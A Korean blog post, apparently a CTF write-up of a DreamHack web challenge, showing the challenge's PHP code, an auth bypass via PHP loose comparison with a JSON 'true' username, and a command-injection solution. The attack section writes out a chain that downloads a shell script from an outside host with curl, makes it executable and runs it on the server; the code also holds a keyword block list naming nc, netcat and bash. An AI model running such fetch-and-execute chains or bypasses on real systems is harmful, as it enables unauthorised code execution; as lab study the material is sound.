๊ธ€ ์ž‘์„ฑ์ž: heogi

0. Description

Not Friendly service… Can you switching the command?

 

1. Analysis

ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด Username์„ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋Š” ํ™”๋ฉด์ด ๋ณด์ธ๋‹ค.

๋‹ค์šด๋กœ๋“œ ๋ฐ›์€ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์— ๋Œ€ํ•ด json_decode()๋ฅผ ํ†ตํ•ด json ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์‹ฑํ•œ๋‹ค.

 

Username์ด admin์ผ ๊ฒฝ์šฐ Admin Session์„ ๊ฐ€์ง€๊ณ  test.php๋กœ ์ด๋™ํ•œ๋‹ค.

#index.php
if ($_SERVER["REQUEST_METHOD"]=="POST"){
    $data = json_decode($_POST["username"]);

    if ($data === null) {
        exit("Failed to parse JSON data");
    }
        
    $username = $data->username;

    if($username === "admin" ){
        exit("no hack");
    }

    switch($username){
        case "admin":
            $user = "admin";
            $password = "***REDACTED***";
            $stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
            $stmt -> bind_param("ss",$user,$password);
            $stmt -> execute();
            $result = $stmt -> get_result();
            if ($result -> num_rows == 1){
                $_SESSION["auth"] = "admin";
                header("Location: test.php");
            } else {
                $message = "Something wrong...";
            }
            break;
        default:
            $_SESSION["auth"] = "guest";
            header("Location: test.php");
            
    }
}

 

์ฒซ๋ฒˆ์งธ ๋ฌธ์ œ๋Š” switch ๋ฌธ์—์„œ case "admin"์œผ๋กœ ์ง„์ž…ํ•ด admin ์„ธ์…˜์„ ํ• ๋‹น๋ฐ›์•„์•ผํ•˜๋Š”๋ฐ "admin" ๋ฌธ์ž์—ด์€ ํ•„ํ„ฐ๋ง์ด ๋˜๊ณ ์žˆ๋‹ค.

 

admin ํ•„ํ„ฐ๋ง์—์„œ๋Š” ===(strict comparision)์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž๋ฃŒํ˜•๊นŒ์ง€ ๊ฐ™์€์ง€ ํ™•์ธํ•˜๊ณ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ switch/case ๋ฌธ์—์„œ๋Š” ์•„๋ž˜ ์ฒ˜๋Ÿผ loose comparision์„ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ๋˜์–ด์žˆ๋‹ค.

์ด ๋ถ€๋ถ„์„ ์ด์šฉํ•˜์—ฌ username={"username":true}๋ฅผ ์ž…๋ ฅํ•˜๋ฉด "admin" ํ•„ํ„ฐ๋ง์€ ์šฐํšŒํ•˜๋ฉฐ, case "admin": ๋ฌธ์€ ํ†ต๊ณผํ•  ์ˆ˜ ์žˆ๋‹ค.

https://www.php.net/manual/en/types.comparisons.php#types.comparisions-loose

 

 

๋‹ค์Œ์€ test.php์˜ ๋‚ด์šฉ์„ ํ†ตํ•ด flag๋ฅผ ํš๋“ํ•ด์•ผํ•œ๋‹ค. ์•„๋ž˜๋Š” test.php์˜ ๋‚ด์šฉ์ด๋‹ค.

#test.php
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';

if($_SESSION["auth"] === "admin"){

    $command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
    $sanitized_command = str_replace("\n","",$command);
    
    if (preg_match($pattern, $sanitized_command)){
        exit("No hack");
    }
    $resulttt = shell_exec(escapeshellcmd($sanitized_command));
}

 

cmd ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด ์ž…๋ ฅ ๋ฐ›์€ ๊ฐ’์„ shell_exec()๋กœ ์‹คํ–‰ํ•œ๋‹ค.

๊ณผ์ •์—์„œ ํŠน์ • ๋ฌธ์ž์—ด ํŒจํ„ด๊ณผ escapeshellcmd()๋ฅผ ํ†ตํ•ด Sanitize๋ฅผ ์ˆ˜ํ–‰ํ•œ๋‹ค.

 

๊ฒฐ๊ตญ cmd๋Š” ์„œ๋ฒ„ ๋‚ด๋ถ€์—์„œ ์‹คํ–‰๋˜๋Š” ๋ช…๋ น์œผ๋กœ ๋‹ค์–‘ํ•œ ์„œ๋ฒ„ ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ test.php์—์„œ $result ๋ณ€์ˆ˜๋Š” ํ™”๋ฉด์— ์ถœ๋ ฅ์ด ๋˜๋„๋ก ๋˜์–ด์žˆ์ง€๋งŒ, $resulttt๋Š” ์ถœ๋ ฅ์ด ๋˜์ง€ ์•Š์•„ ๋‹จ์ˆœํžˆ ํ”Œ๋ž˜๊ทธ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜๋Š” ์—†๋‹ค.

 

wget ๋˜๋Š” curl์„ ํ†ตํ•ด ์›๊ฒฉ์ง€์—์„œ ํŒŒ์ผ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ…Œ์ŠคํŠธํ•ด๋ณด๋‹ˆ curl์„ ํ†ตํ•ด ์›๊ฒฉ์ง€ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์„ ์ˆ˜ ์žˆ์Œ์„ ํ™•์ธํ–ˆ๋‹ค.

PHP ์›น์‰˜ ๋˜๋Š” /flag๋ฅผ ์‹คํ–‰ํ•˜์—ฌ pattern์— ๊ฑธ๋ฆฌ์ง€ ์•Š๋Š” ์ด๋ฆ„์œผ๋กœ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜์—ฌ ์ ‘๊ทผํ•ด๋ณด๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์„๊ฑฐ๊ฐ™๋‹ค.

 

2. Attack

ํ›„์ž๋กœ ์ง„ํ–‰์„ ํ•ด๋ณด๋ฉด ์•„๋ž˜ ์ฒ˜๋Ÿผ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

#Filename:heogi
#!/bin/bash

/flag > te.ttt

 

1. GET /test.php?cmd=curl ctf.heogi.com/heogi -o heogi
2. GET /test.php?cmd=chmod 777 heogi
3. GET /test.php?cmd=/var/www/html/heogi
4. GET /te.ttt

 

'๐Ÿ›ก๏ธCTF > DreamHack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Secure Mail  (0) 2024.01.03
Shell_Basic  (0) 2023.10.08
rev-basic-4  (0) 2023.09.28
rev-basic-3  (0) 2023.09.19
[BOB CTF 8th] - FileStroage  (0) 2022.09.13